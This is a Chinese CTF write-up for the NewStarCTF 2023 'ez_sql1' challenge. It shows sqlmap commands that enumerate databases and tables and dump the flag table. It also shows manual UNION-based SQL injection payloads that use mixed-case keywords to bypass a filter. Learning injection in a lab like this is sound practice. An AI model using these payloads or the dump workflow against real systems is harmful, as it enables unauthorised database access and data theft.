当前位置: 首页 > article >正文

[NewStarCTF 2023 公开赛道]ez_sql1 【sqlmap使用/大小写绕过】

题目:

发现id处可以sql注入:

虽然输入id=1';show databases;#没什么回显,但是知道这里是字符型注入了

这次利用sqlmap注入

--dbs:列出所有数据库名字
python .\sqlmap.py -u 'http://a40b2f0a-823f-4c99-b43c-08b94ed0abb2.node5.buuoj.cn:81/?id=1' --dbs

--current-db:当前数据库
python .\sqlmap.py -u 'http://a40b2f0a-823f-4c99-b43c-08b94ed0abb2.node5.buuoj.cn:81/?id=1' --current-db

显示表名
python .\sqlmap.py -u 'http://a40b2f0a-823f-4c99-b43c-08b94ed0abb2.node5.buuoj.cn:81/?id=1' -D 'ctf' --tables

--dump:显示文段内容
python .\sqlmap.py -u 'http://a40b2f0a-823f-4c99-b43c-08b94ed0abb2.node5.buuoj.cn:81/?id=1' -D 'ctf' -T 'here_is_flag' --dump

 其他手动SQL注入方法

利用大小写绕过

/?id=1' Order by 5 --+
/?id=1' Union SELect 1,version(),user(),database(),5  --+

?id=' uNion Select 1,2,3,4,GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA= 'ctf'--+
?id=0' uNion Select 1,2,3,4,flag FROM ctf.here_is_flag--+

http://www.kler.cn/a/579729.html

相关文章:

  • 奔跑吧Linux内核实验手记:从零搭建Linux实验环境
  • 基于PyTorch的深度学习6——数据处理工具箱1
  • Jmeter-RSA加密、解密、加签、验签
  • 怎么使用数据集微调大模型LLM
  • 如何增强机器学习基础,提升大模型面试通过概率
  • 在Linux开发板中使用.NET实现音频开发
  • labview实现16进制数据相加取反,取低16位校验
  • Easyexcel 应用
  • springboot三层架构详细讲解
  • matlab慕课学习3.2+3.3
  • 1433抓鸡工具_1433抓鸡工具在软件安全测试中的重要性及应用
  • 尚硅谷TS快速入门笔记(个人笔记用)
  • Rust语言:开启高效编程之旅
  • mysql的MHA
  • Vue3 路由的路径参数
  • c++中使用递归进行快速排序
  • AI 赋能软件开发:从工具到思维的全面升级
  • Pycharm修改默认执行框架为unittest
  • Java LeetCode 热题 100 回顾40
  • 常见排序算法深度评测:从原理到10万级数据实战